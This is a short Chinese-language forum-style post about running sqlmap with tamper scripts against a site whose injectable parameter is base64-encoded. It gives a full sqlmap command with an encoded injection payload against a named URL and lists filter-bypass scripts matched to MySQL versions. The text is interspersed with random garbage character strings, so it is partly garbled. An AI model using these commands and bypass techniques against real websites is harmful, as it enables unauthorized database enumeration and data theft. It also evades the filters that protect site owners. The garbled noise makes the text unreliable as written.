SQlMap Tamper注入Base64编码注入点

admin

WVS扫某站就出来一个SQL Injection，参数还是base64编码的，手工注入麻烦一步，用sqlmap怎么自动注射呢？ sqlmap的tamper里有个base64encode.py / g# c4 n6 y9 {! z- i+ O 使用如下 ; }! X; A0 o* I/ f' f, Vsqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs : z3 {5 p4 F" J: ?4 ^  F) N sqlmap拥有很多功能强力的插件，插件的使用方法： -- tamper “插件名称” + W' |. S1 r9 s) g, P  [其中常用到的bypass脚本绕过SQLMAP主要两个脚本： & p5 D9 ~7 D$ k space2hash.py ，对于MYSQL数据库 4.0, 5.0注入 # _7 B9 k! e; i7 Pspace2morehash.py ，对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入 首先确定目标数据库版本，然后选择相应的脚本。 -v 3 --batch --tamper "space2hash.py" 还有其他一些插件： encodes编码 ——charencode.py base64编码 —— base64encode.py 1 E. ^) ~# a$ g' v替换空格和关键字 —— halfversionedmorekeywords.py + n( \& n" g% L, M

3 s; p; {& q6 @( f7 i2 V9 T
: P5 A( K, ^/ |7 a6 K4 [' j
* P- c3 A% h& N. C$ h- b
/ A5 p8 v- V/ ]0 v3 H